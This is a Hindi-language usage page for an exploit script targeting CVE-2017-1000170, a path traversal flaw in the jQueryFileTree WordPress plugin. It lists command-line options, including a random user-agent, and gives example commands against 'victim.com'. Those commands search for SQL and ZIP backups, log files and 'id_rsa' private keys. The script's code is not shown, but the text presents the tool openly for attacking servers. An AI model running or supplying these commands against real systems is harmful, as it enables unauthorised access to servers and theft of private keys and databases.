
Jquery फ़ाइल ट्री 1.6.6 पथ ट्रैवर्सल एक्सप्लॉइट (CVE-2017-1000170)
Jquery File Tree 1.6.6 पाथ ट्रैवर्सल एक्सप्लॉइट (CVE-2017-1000170)
Wordpress के लिए jQueryFileTree <1.6.6 प्लगइन की डिफ़ॉल्ट सेटिंग्स उपयोगकर्ता डेटा को पार्स करने में विफल रहती हैं, जिससे पाथ ट्रैवर्सल कमजोरी उत्पन्न होती है।
इससे एक हमलावर वेबसर्वर के सभी पढ़ने योग्य फ़ोल्डरों के सभी फ़ाइलनामों को सूचीबद्ध कर सकता है।
इसे स्थानीय फ़ाइल समावेशन या स्थानीय फ़ाइल प्रकटीकरण हमले के साथ जोड़कर, यह सर्वर की किसी भी पढ़ने योग्य फ़ाइल को मनमाने ढंग से डाउनलोड करने की अनुमति दे सकता है।
$ xpl_jqueryFileTree.php -u url [-f extensions/filenames] [-p path] [-r] [-h] [-a]
विवरण:
-h, --help: यह संदेश दिखाएँ
-u, --url: लक्ष्य का URL
-a, --random-agent: यादृच्छिक उपयोगकर्ता एजेंट का उपयोग करें
-f, --filter: खोजने के लिए फ़ाइलों या एक्सटेंशन के नाम (अल्पविराम से अलग)
-p, --path: वह पूर्ण पथ जहाँ से फ़ाइलनाम पढ़े जाएँगे (डिफ़ॉल्ट: /)
-r, --recursive: वृक्ष को पुनरावर्ती रूप से उत्पन्न करता है (सावधान रहें)
उदा.: xpl_jqueryFileTree.php -u victim.com -f .zip,.sql -p /var/www/html/backup/admin/ -r
|
\-> यह victim.com/backup/admin और उसके उपपथों के अंदर सभी .zip और .sql फ़ाइलों को खोजेगा
(यह इंगित करने के लिए कि यह एक एक्सटेंशन है, आपको डॉट प्रदान करना होगा)
xpl_jqueryFileTree.php -u victim.com -f .log,id_rsa -a -r
|
\-> यह सर्वर के सभी फ़ोल्डरों के भीतर "id_rsa" नाम की या ".log" एक्सटेंशन वाली सभी फ़ाइलों
को यादृच्छिक उपयोगकर्ता-एजेंट के साथ खोजेगा
सुझाव: आउटपुट फ़ाइल में परिणाम सहेजने के लिए "php ..... | tee output" का उपयोग करें
